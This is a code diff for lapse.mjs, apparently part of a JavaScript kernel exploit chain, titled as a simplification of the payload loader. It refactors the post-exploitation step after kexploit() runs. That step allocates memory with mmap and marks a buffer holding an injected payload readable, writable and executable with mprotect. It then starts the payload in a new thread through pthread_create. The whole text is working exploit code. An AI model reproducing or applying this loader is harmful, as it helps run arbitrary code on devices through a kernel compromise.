simplified payload loader code

lapse.mjs

@@ -140,7 +140,6 @@ const num_leaks = 5;
 const num_clobbers = 8;
 
 let chain = null;
-var nogc = [];
 async function init() {
     await rop.init();
     chain = new Chain();
@@ -1736,39 +1735,18 @@ export async function kexploit() {
 }
 
 kexploit().then(() => {
-    function malloc(sz) {
-        var backing = new Uint8Array(0x10000 + sz);
-        nogc.push(backing);
-        var ptr = mem.readp(mem.addrof(backing).add(0x10));
-        ptr.backing = backing;
-        return ptr;
-    }
-
-    function malloc32(sz) {
-        var backing = new Uint8Array(0x10000 + sz * 4);
-        nogc.push(backing);
-        var ptr = mem.readp(mem.addrof(backing).add(0x10));
-        ptr.backing = new Uint32Array(backing.buffer);
-        return ptr;
-    }
-    window.pld_size = new Int(0x26200000, 0x9);
-
-    var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0);
-    var payload = window.pld;
-    var bufLen = payload.length * 4
-    var payload_loader = malloc32(bufLen);
-    var loader_writer = payload_loader.backing;
-    for (var i = 0; i < payload.length; i++) {
-        loader_writer[i] = payload[i];
-    }
-    chain.sys('mprotect', payload_loader, bufLen, (0x1 | 0x2 | 0x4));
-    var pthread = malloc(0x10);
+    var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
+    var payload_loader = new View4(window.pld);
+    chain.sys('mprotect', payload_loader.addr, payload_loader.size, (0x1 | 0x2 | 0x4));
+    const ctx = new Buffer(0x10);
+    const pthread = new Pointer();
+    pthread.ctx = ctx;
 
     call_nze(
         'pthread_create',
-        pthread,
+        pthread.addr,
         0,
-        payload_loader,
+        payload_loader.addr,
         payload_buffer,
     );
 })